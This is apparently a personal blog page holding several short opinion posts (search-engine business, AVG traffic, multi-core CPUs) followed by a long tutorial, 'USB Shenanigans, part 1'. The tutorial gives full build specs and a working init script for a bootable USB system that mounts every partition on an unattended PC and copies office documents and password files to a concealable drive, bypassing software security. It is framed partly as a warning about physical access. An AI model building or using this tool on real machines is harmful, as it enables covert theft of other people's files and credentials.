michaelkirkland.org/blog


On the Google/Microsoft/Yahoo love triangle

David Kirkpatrick of Fortune published an editorial on the stumbling dance between Google, Yahoo, and Microsoft. He's mostly right on the old-school business issues, but he misses a lot on tech and what it means.

They seem to have gotten the idea that Microsoft's search has caught up with Google's technologically, but they provide no justification for that opinion. (On an anecdotal note, shortly after the previous entry was crawled by the msnbot, I started getting links from them on "traffic" from the UK.) It seems like he's just repeating talking points or fishing for advertising dollars.

Google is still unequivocally the best search engine to use, but Kirkpatrick is right in that this doesn't really matter much for Google's bottom line (but wrong on why). Google makes it's money by buying and selling advertising. If it owns the destinations those ads are ultimately served on, great, they get a bigger slice of the pie, but they're just as happy to split it with anyone else.

That's where Google and Microsoft part ways. Google isn't threatened by Yahoo existing alongside them offering search and mail, in fact they're quite happy to sell ads for them. Microsoft cannot stand the idea of anyone, anywhere competing with them. For them, it's all or nothing. Microsoft needs to get it's hands on all the pie, where as Google will just make more pie.

Where does Yahoo fall in this? They're just fine where they are. They're in the red, and Google isn't going to crush them for daring to compete. Microsoft would certainly like to, but they haven't the ability. Yahoo's visitors are almost all going to be people using Microsoft's operating system and browser which will default to their search engine and other things. People visiting yahoo.com have made a conscious decision not to use Microsoft's web services, and that's not going to change if Microsoft buys them.

Google can get away with buying web services because people like them (and they don't change them for the worse). People don't like Microsoft, so expect an exodus of visitors from Yahoo if they get their mits on them. Most of those will go to Google, and there will be a bloom of independent implementations of things Yahoo does well, like Flickr. Don't be surprised if Google is one of them.

Kirkpatrick thinks Google has an Ebay like hold on the ad market, but they really don't. There are lots of other similar services. Google gets the most attention because they've got a lot of goodwill, but they could easily be overtaken in this market if they pissed people off. Unfortunately for Microsoft, that's not particularly likely to happen, and they've got such a terrible reputation that they'll never be able to match Google's goodwill. Neither can traditional advertising companies, who haven't built us lots of cool toys as Google has, and who seem incapable of knowing when to say 'no' to ad buyers.

So no, Google's advantage isn't control over any market, and while they've got some cool tech, that serves mainly to increase the size of their market for everyone. Ultimately, Google's real advantage is that people don't think they're bastards.

1 Comments >> Bookmark and Share

AVG sending fake web traffic from its customers

The Register reports that anti-virus company AVG is sending out fake web traffic from its customer's IPs as they surf the web. They're identifying their bot as Internet Explorer 6. AVG claims they're doing this because they malware pages would just block or spoof their bot if it used a proper user agent.

There's a bit of outrage in some sectors, because this is driving up traffic and skewing people's logging and analysis. Some are outright blocking IE6, or redirecting the traffic to AVG's site. Of course, anyone who actually uses IE6 is being caught up in this along with the bot.

I think this might be the actual goal, and if so, I tip my hat to you grisoft, you sneaky bastards.

516 Comments >> Bookmark and Share

On lots and lots of cores

Ars Technica reports on an Intel blog warning developers that we need to adapt an open ended number of cores.

Intel, of course, is primarily worried about making sure people are buying the n-core chips they'll be selling in the years ahead. Of course, that doesn't mean they're wrong, but I don't think the changes, from a coder's view, are going to be as generalized as some seem to. You're not going to get the people smearing their VB on the walls or poking Sharepoint with a stick to wrangle threads. Most of those folks can't even handle pointers without cutting themselves. If they're to see any benefit, it'll have to be done for them at a lower level, and that's fine.

Now, I'm not saying we won't see big changes in how we code. We certainly will. My point in this post is that it doesn't matter. We're going to go through interesting times, and there will be lots of attempts at getting parallelization right, but this is a revolutionary rather than evolutionary change.

The really cool stuff will spring off from the side, where no one was looking. Ars correctly points out that we won't be getting "free" performance upgrades in terms of periodic increases in clock speed anymore. What's important to note is that we will, suddenly, start getting "free" processors no one really cares about because they're idling.

Expect filesystems to get a lot smarter. Need to clear IO cache? Throw a spare core at compressing it rather than just tossing it. This is easy to parallelize, so throw all the idle cores at it.

Expect virtualization to get thrown at all sorts of problems. Need backwards compatibility? Keep whatever you need running on a core in the background.

You'll likely only be running local servers for sensitive or frequently accessed large stores of data. Renting virtual server instances is going to get cheap. When you can fit a few hundred cores into 1U, the price of renting one will probably be rolled into the cost of bandwidth.

Keep in mind, Intel is far from wrong. We still need to find ways to sensibly use lots of cores for singular tasks, but the really neat things will come out of the slack that arises when we don't keep up with them.

3 Comments >> Bookmark and Share

Spore!

Yay, Spore to play with :)

924 Comments >> Bookmark and Share

USB Shenanigans, part 1

In this article, we'll be discussing how to create a small Linux system bootable from any USB mass storage device that can pull data of interest from most modern PCs, bypassing any software based security. If you've ever been told you can't bring electronics into a secure area, this is probably a big part of why. These shenanigans aren't restricted to thumb drives, they can just as easily be done from an iPod, most cameras and even some cell phones.

We'll be assuming a fairly high comfort level of Linux in general and the Gentoo build process specifically. If you're not comfortable doing a fresh Gentoo install with just a bootdisk and a stage 3 tarball, you'll probably want to read through the Gentoo Handbook and install it on your PC before you read this.


Creating the Linux system

Overview

To create the base system, we'll use Gentoo's Catalyst build tool. This software's intended purpose is creating the LiveCDs and stage archives used for bootstrapping a Gentoo system. Its developers don't support creating bootable USB devices with it, but it's flexible enough to do the job without much hassle.

To create the LiveCD iso from which we'll make the bootable USB device, we'll need a portage snapshot and a seed stage 3 archive.

Portage snapshot

A portage snapshot is a tarball containing all official ebuilds. You can download one from your favourite Gentoo mirror, but it's preferable to create an up to date one from your local system. Catalyst can do this for you with the command:

catalyst -s mpk.0

This will create a snapshot in your catalyst storedir named portage-mpk.0.tar.bz2.

Creating the seed stage 3

We need a seed stage to build into the LiveCD. Unfortunately we can't just download one from a Gentoo mirror, because those will be fairly old and when Catalyst tries to upgrade its packages some of them will block each other. Were we doing a normal install, we could easily fix these manually, but Catalyst needs it to work all in one go.

We'll need to create an up to date stage 1 tarball from scratch, from that we can build a stage 2 and then 3. We'll still need a stage 3 from a Gentoo mirror, but this will just be used as a chroot, to isolate the build process from your local system for the first stage. For the second and third stage, the preceding stage will provide the build environment.

Setting up the Catalyst environment

Ensure your Catalyst environment is stored on a partition with a fair amount of free space by editing /etc/catalyst/catalyst.conf. The examples in this article will all assume you've set the following:

storedir="/data/catalyst"
snapshot_cache="/data/catalyst/snapshot_cache"

Create the storedir, and under it create builds/default. Place the stage 3 you downloaded from the Gentoo mirror in builds/default. Keep a copy elsewhere, as Catalyst will delete it in some cases.

We will need a portage configuration directory, create it in /data/catalyst/portage. For our purposes you will only need the following in portage.unmask:

=app-misc/livecd-tools-1.0.40
=sys-apps/hwsetup-1.2

These packages are hard masked to prevent normal Gentoo users from installing them incidentally, but the are necessary for a LiveCD.

We'll also need a kernel config for the final build. We could create our own with the kernel build tools, but the default Gentoo LiveCD config works for our purposes. Make a kconfig directory in the Catalyst storedir, and place the kernel config in it.

Creating the seed stage 1

Write the following to a file named seed-stage1.spec:

subarch: i686
version_stamp: mpk.0
target: stage1
rel_type: default
profile: default-linux/x86/2007.0
snapshot: mpk.0
source_subpath: default/stage3-i686-2007.0
portage_confdir: /data/catalyst/portage
chost: i686-pc-linux-gnu
cflags: -Os -pipe -fomit-frame-pointer
cxxflags: -Os -pipe -fomit-frame-pointer

Build the up to date stage 1 tarball by running:

catalyst -v -f seed-stage1.spec

When this finishes, you'll have a freshly made stage1-i686-mpk.0.tar.bz2 in your builds/default directory from which we can build a stage 2.

Creating the seed stage 2

Write the following to a file named seed-stage2.spec:

subarch: i686
version_stamp: mpk.0
target: stage2
rel_type: default
profile: default-linux/x86/2007.0
snapshot: mpk.0
source_subpath: default/stage1-i686-mpk.0
portage_confdir: /data/catalyst/portage
chost: i686-pc-linux-gnu
cflags: -Os -pipe -fomit-frame-pointer
cxxflags: -Os -pipe -fomit-frame-pointer

Build the up to date stage 2 tarball by running:

catalyst -v -f seed-stage2.spec

When this finishes, you'll have a freshly made stage2-i686-mpk.0.tar.bz2 in your builds/default directory from which we can build a stage 3.

Creating the seed stage 3

Write the following to a file named seed-stage3.spec:

subarch: i686
version_stamp: mpk.0
target: stage3
rel_type: default
profile: default-linux/x86/2007.0
snapshot: mpk.0
source_subpath: default/stage2-i686-mpk.0
portage_confdir: /data/catalyst/portage
pkgcache_path:
cflags: -Os -pipe -fomit-frame-pointer
cxxflags: -Os -pipe -fomit-frame-pointer

Build the up to date stage 3 tarball by running:

catalyst -v -f seed-stage3.spec

When this finishes, you'll have a freshly made stage3-i686-mpk.0.tar.bz2 in your builds/default directory. You now have the stub of a working Gentoo system we can build into a LiveCD.

Creating the LiveCD

Now we're ready to start building the LiveCD. Catalyst splits this into two stages. In stage 1, we build all the packages above those in the basic stage 3, save those that depend on the kernel. In stage 2 we build the kernel and any packages that depend on it, unmerge any any packages not needed on the final release (such as the kernel sources), setup the init scripts and package the whole thing in a bootable iso file.

Creating the LiveCD stage 1

Write the following to a file named liveusb-stage1.spec:

subarch: i686
version_stamp: mpk.0
target: livecd-stage1
rel_type: default
profile: default-linux/x86/2007.0
snapshot: mpk.0
source_subpath: default/stage3-i686-mpk.0
portage_confdir: /data/catalyst/portage

livecd/use: -* ipv6 socks5 livecd fbcon ncurses readline ssl
livecd/packages: livecd-tools dhcpcd acpid gentoo-sources syslog-ng links dosfstools jfsutils 
xfsprogs e2fsprogs reiserfsprogs ntfsprogs screen iputils hwdata-gentoo hwsetup vim ethtool

Build the LiveCD stage 1 by running:

catalyst -v -f liveusb-stage1.spec

In particular, note the livecd/use and livecd/packages variables. The former sets up the default use flags as would be defined in make.conf in a standard Gentoo system, and the latter is the list of packages that will be included above the standard stage 3 packages.

Creating the LiveCD stage 2

Write the following to a file named liveusb-stage2.spec:

subarch:i686
version_stamp: mpk.0
target:livecd-stage2
rel_type:default
profile: default-linux/x86/2007.0
snapshot: mpk.0
source_subpath:default/livecd-stage1-i686-mpk.0
portage_confdir:/data/catalyst/portage

livecd/type:generic-livecd
livecd/iso: /data/catalyst/livecd_shenanigans.iso
livecd/motd:"Welcome to the USB Shenanigans drive"
livecd/rcadd:
        search_partitions|default
livecd/rcdel:
        spind|default
livecd/root_overlay: /data/catalyst/overlay
livecd/fstype: squashfs
livecd/cdtar: /usr/lib/catalyst/livecd/cdtar/isolinux-3.09-cdtar.tar.bz2
livecd/volid: Shenanigans Live CD
livecd/gk_mainargs:

Build the LiveCD stage 2 by running:

catalyst -v -f liveusb-stage2.spec

Take particular note of the livecd/rcadd, livecd/rcdel, livecd/root_overlay and livecd/bootargs variables.

The livecd/rcadd and rcdel variables allow us to add or remove init scripts from any runlevel as we would with the rc-update command on a normal Gentoo system. In our case, we want to add the script that searches local partitions as described in the Shenanigans section below, and remove the spind service, which would keep the CD drive spinning if we intended to use this as a LiveCD.

The livecd/root_overlay allows us to splice in files not associated with a package. In our case, we use this to include our shenanigans scripts.

When this finishes, you'll have a working Gentoo system in an iso you can burn. If you're happy carrying around a CD in your pocket, you can skip the rest of the build and move on to the Shenanigans section.

Creating a LiveUSB image from the LiveCD iso

We're almost done. We have an iso that can be booted from CD, but we'll not be able to write anything back to that CD when we boot it, and CDs are rather cumbersome to carry around. Flash drives are dirt cheap, come in much larger capacities, and can be booted from on most modern systems. With a little tweaking, we can turn our LiveCD into a LiveUSB.

Preparing the Flash disk

We'll be using a standard USB Mass Storage flash disk, fat16/32 format. We could boot Linux from almost any filesystem, but sticking to the standard will give us advantages we'll explore further in Part 2. Format your drive as such if it isn't already, and install a master boot record to the root of the drive with the following command:

mbr-install /dev/sda

Install app-admin/mbr from portage if necessary, and replace /dev/sda with the device node your flash disk is on. Be careful not to overwrite your system's boot record if you have SATA drives.

Files needed

From the iso generated by Catalyst, copy the following files to the root of your flash disk:
image.squashfs
livecd
isolinux/gentoo
isolinux/gentoo.igz

Bootloader

Write the following to a file named syslinux.cfg at the root of your flash disk:

default gentoo
timeout 0
prompt 1

label gentoo
  kernel gentoo
  append root=/dev/ram0 init=/linuxrc cdroot=/dev/sd[a-z][0-9] slowusb looptype=squashfs 
loop=/image.squashfs initrd=gentoo.igz

This is almost identical to the isolinux.cfg Catalyst builds for the LiveCD. We've taken out the boot option that enables a framebuffered console. That's pretty, but it isn't necessary for our purposes and may cause trouble on some systems. We've added cdroot=/dev/sd[a-z][0-9] to the kernel parameters. This gets passed directly into a script in Catalyst's initrd (gentoo.igz) that it uses to determine where the squashfs filesystem is. Normally it would iterate through a long list of potential CD device nodes, looking for one that's mountable and contains a file named livecd in the root. It normally skips over the sd* nodes, as optical media is put on sr* nodes. /dev/sd[a-z][0-9] is expanded by bash into a list of all sd* partitions on the booted system, and Catalyst's script then goes on to look for the one with livecd at the root.

Shenanigans - Searching the local system


Now we come to the point of the exercise. We've got a bootable USB system that can be installed on an easily concealable thumb drive or an apparently innocuous personal media player or camera. This is where we learn why it's never safe to leave a system with sensitive data accessible to people we don't trust.

A very simple script, like the gentoo init script below, can quickly search though the local system for potentially interesting files and deposit them on the flash device. Using $findopts to match files from popular office suites and common password files, this script runs through my old laptop in about 5 minutes. When it's done, you can reboot or immediately remove the flash disk, as it flushes itself.

#!/sbin/runscript
depend(){
  need hdparm
}

start() {
  einfo "Searching filesystems"

  #tease the real root of the flash disk out of the mount command.
  cdroot=`mount|sed -n "s/\(\/dev\/sd[a-z][0-9]\) on \/mnt\/cdrom.*/\1/p"`

  ebegin "Opening $cdroot for exfiltration"
  #remount the flash drive as writeable so we can tar files into it
  mount $cdroot -o remount,rw
  eend $?

  cd /dev
  for partition in [hs]d[a-z][0-9]
  do
    if [ "/dev/$partition" != $cdroot ]
    then
      ebegin "Mounting /dev/$partition"
      mkdir -p /mnt/$partition
      mount /dev/$partition /mnt/$partition
      eend $?
      if [ $? = 0 ]
      then
	ebegin "Searching /mnt/$partition"
	find /mnt/$partition $findopts > /tmp/$partition.files
	tar cpjf /mnt/cdrom/$partition.tar.bz2 -T /tmp/$partition.files
        eend $?
	umount /mnt/$partition
      fi
      rmdir /mnt/$partition
    fi
  done

  ebegin "Flushing $cdroot"
  #put the flash drive back in read only mode so it gets flushed
  mount $cdroot -o remount,ro
  eend $?
}

Limitations

The primary drawback of this procedure is that it requires the target machine to be rebooted, possibly alerting the operator. (Though this can be mitigated on some systems with hibernate functions if they are accessible.) In part 2 we will discuss a similar procedure which does not require a reboot.


References and further reading

  1. HOWTO build a LiveCD with Catalyst for newbies
  2. Gentoo Handbook - Initscripts
1084 Comments >> Bookmark and Share

<< Previous Entries Next Entries >>